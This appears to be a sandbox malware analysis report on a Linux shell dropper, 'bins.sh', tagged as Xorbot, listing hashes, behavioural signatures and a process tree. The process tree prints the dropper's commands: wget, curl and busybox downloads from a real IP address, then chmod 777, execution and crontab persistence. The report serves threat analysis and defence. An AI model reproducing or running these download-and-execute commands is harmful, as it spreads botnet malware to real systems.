Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/01/2025, 07:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
35db236417698c215c332fd24c9bc02b
-
SHA1
d2e56a1c81273893eaadc18883c0205088793c25
-
SHA256
aebb1cf829ec2f35ee0146b54267a70f5f85b69adbb93fb8a3990846810393ab
-
SHA512
b03a51f3bd52a962c14b7f9ffcd7c8af340d5995c87e0e550e2fff4d4ab5442d518bc1c74bf7524d4d6f76b05f6e8757a3c9aba01cc6be5c27e572af8c725cd4
-
SSDEEP
192:bfqxWlqR1lxlj0RJJFRpoQvtSwFiaCf7CkqxWlqR1l3eRJJFRpoQTGs5iaCf73:bcjYTD9tSwFiaCf7CSTDNGs5iaCf73
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
Contacts a large (2201) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1507 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J 1508 cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J -
Renames itself 1 IoCs
pid Process 1509 cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.qPVj3c crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/1291/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1641/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/12/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/598/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1686/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1696/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1637/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/8/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/165/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1585/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/485/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1127/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1521/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1537/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1729/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/670/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1062/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1177/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1628/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1687/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1697/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1300/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1632/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/32/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1135/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1530/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1572/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1576/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1745/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1282/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1645/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1566/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1605/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/6/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/516/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1533/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1748/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/544/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1372/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1527/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1754/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1766/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1111/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1519/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1555/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/82/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/173/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1075/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1539/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1609/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1582/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/430/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1280/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1547/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1746/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/25/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/157/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1564/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1570/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/662/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/13/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1599/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1711/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J File opened for reading /proc/1731/cmdline cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J wget File opened for modification /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J curl File opened for modification /tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1491
-
/bin/rm/bin/rm bins.sh2⤵PID:1493
-
-
/usr/bin/wgetwget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵
- Writes file to tmp directory
PID:1498
-
-
/usr/bin/curlcurl -O http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵
- Writes file to tmp directory
PID:1505
-
-
/bin/busybox/bin/busybox wget http://66.63.187.225/bins/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵
- Writes file to tmp directory
PID:1506
-
-
/bin/chmodchmod 777 cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵
- File and Directory Permissions Modification
PID:1507
-
-
/tmp/cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J./cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1508 -
/bin/shsh -c "crontab -l"3⤵PID:1510
-
/usr/bin/crontabcrontab -l4⤵PID:1511
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1512
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1513
-
-
-
-
/bin/rmrm cZs4nm9I6jVY4i4EUzZKWTVsnF1MEh8y4J2⤵PID:1515
-
-
/usr/bin/wgetwget http://66.63.187.225/bins/COCcstraAjeKbnSWLDeJkLO9FrnbhHWSGK2⤵PID:1518
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD54eb1e545c96fc500b39592d98840e4c9
SHA15268191269a86ff187b18f672b71006ba42616c4
SHA256d67b7f227d77a3fd674c55d53f27e975ec7f26c6b8759c14897dfe81f4d75b90
SHA5124a11c7f369df759f6a7c7b68137bff0656a2a5fa31ab6594020cdaf462522425d73a58423aeb7f5ebe08e60a686e6d44fa4e92c57e072b7b1d46994d591fd155